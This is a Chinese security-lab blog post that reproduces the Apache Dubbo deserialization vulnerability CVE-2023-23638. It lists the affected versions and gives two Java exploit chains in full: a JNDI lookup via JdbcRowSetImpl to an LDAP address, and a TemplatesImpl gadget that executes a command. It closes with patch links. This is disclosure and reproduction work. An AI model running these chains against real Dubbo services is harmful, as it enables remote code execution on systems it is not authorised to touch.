网安引领时代,弥天点亮未来
Apache Dubbo是一款高性能的 Java RPC 框架。其前身是阿里巴巴公司开源的、轻量级的开源 Java RPC 框架,可以和Spring 框架无缝集成, 2018 年阿里巴巴把这个框架捐献给了 apache 基金会。
Apache Dubbo是美国阿帕奇(Apache)基金会的一款基于Java的轻量级RPC(远程过程调用)框架。该产品提供了基于接口的远程呼叫、容错和负载平衡以及自动服务注册和发现等功能。
Dubbo 2.7.21版本及之前的2.7.x 版本、3.0.13版本及之前的3.0.x版本、3.1.5版本及之前的3.1.x 版本存在代码问题漏洞,该漏洞源于存在反序列化漏洞,可能导致恶意代码执行。
Apache Dubbo 2.7.x <= 2.7.21
3.0.0 <= Apache Dubbo <= 3.0.13
3.1.0 <= Apache Dubbo <= 3.1.5
注:利用难度大,需知道接口全限定名、方法名、入参及返参类型等。
1.识别漏洞环境
2.对漏洞进行复现
有两种利用方式核心代码
方式1
private static Map getInstance() throws IOException {
HashMap newChecker = new HashMap();
newChecker.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
newChecker.put("OPEN_CHECK_CLASS", false);
HashMap map = new HashMap();
map.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
map.put("INSTANCE", newChecker);
LinkedHashMap map2 = new LinkedHashMap();
map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
map2.put("DataSourceName", "ldap://127.0.0.1:1099/exp");
map2.put("autoCommit", true);
HashMap map3 = new HashMap();
map3.put("class","java.util.HashMap");
map3.put("1",map);
map3.put("2",map2);
return map3;
}
方式2
public static Map getProperties() throws IOException {
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
properties.setProperty("serialization.security.check","false");
HashMap map = new HashMap();
map.put("class", "java.lang.System");
map.put("properties", properties);
return map;
}
public static Object getObject() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},
clazz);
constructor.setBody("Runtime.getRuntime().exec("calc.exe");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "test");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new
BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
NativeJavaSerialization nativeJavaSerialization =new NativeJavaSerialization();
UnsafeByteArrayOutputStream unsafeByteArrayOutputStream = new UnsafeByteArrayOutputStream();
ObjectOutput o = nativeJavaSerialization.serialize(null,unsafeByteArrayOutputStream);
o.writeObject(val);
return unsafeByteArrayOutputStream.toByteArray();
}
send(getProperties());
send(getObject());
利用过程流量
3.工具测试(漏洞存在)
在Dubbo3.x中,启动服务时会隐式的启动一个org.apache.dubbo.metadata.MetadataService服务,这个服务的作用是保存Dubbo的服务的元数据。
注入服务
命令执行成功(成功执行概率很低)
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://lists.apache.org/thread/8h6zscfzj482z512d2v5ft63hdhzm0cb
https://exp10it.cn/2023/03/apache-dubbo-cve-2023-23638-%E5%88%86%E6%9E%90/
https://forum.butian.net/share/2277
https://github.com/YYHYlh/Apache-Dubbo-CVE-2023-23638-exp/
弥天简介
学海浩茫,予以风动,必降弥天之润!弥天弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。
口号 网安引领时代,弥天点亮未来
知识分享完了
喜欢别忘了关注我们哦~
学海浩茫,
弥 天
安全实验室
原文始发于微信公众号(弥天安全实验室):Apache Dubbo反序列化漏洞(CVE-2023-23638)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论